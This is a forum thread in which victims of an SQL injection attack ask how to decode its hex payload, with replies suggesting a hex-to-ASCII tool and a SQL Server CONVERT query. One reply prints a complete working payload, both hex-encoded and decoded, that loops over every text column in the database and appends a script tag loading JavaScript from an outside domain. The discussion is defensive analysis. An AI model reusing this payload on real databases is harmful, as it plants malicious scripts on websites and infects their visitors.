Decode Hex after SQL Injection attack

Hi Experts,

I've just been hit with a sql injection which contained a hex string - does anyone know how I can decode that hex to see what commands they were trying to run?

Many thanks,
pjordannaAsked:
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SvenTech Lead Web-DevelopmentCommented:
Google: "Hex to ASCII"
Found: http://bluefive.pair.com/hexwrite.htm

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pjordannaAuthor Commented:
Ahhhh doesn't work with my HEX - comes up as gibberish - anyone got any others?

Many thanks
SvenTech Lead Web-DevelopmentCommented:
Post the string you want to decode! Maybe it is not HEX ;)
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onecoastCommented:
FYI, in either Management Studio or Query Analyzer you should be able to take the hex string (e.g. 0x0000) and decode it using the following SQL statement:

SELECT CONVERT(varchar(5000), 0x0000).

If you wanted to convert back to hex you could do something like:

SELECT CONVERT(varbinary(5000), 'SELECT * FROM ...).

Hopefully this helps!
seogleeCommented:
Here is the sql injection attack i got:
CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647570642E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));

All I did was add a select statement in front e.g. SELECT sqlAttactStr to get the following result:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.adupd.mobi/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
pjordannaAuthor Commented:
Thanks guys - got hex write working in the end :)
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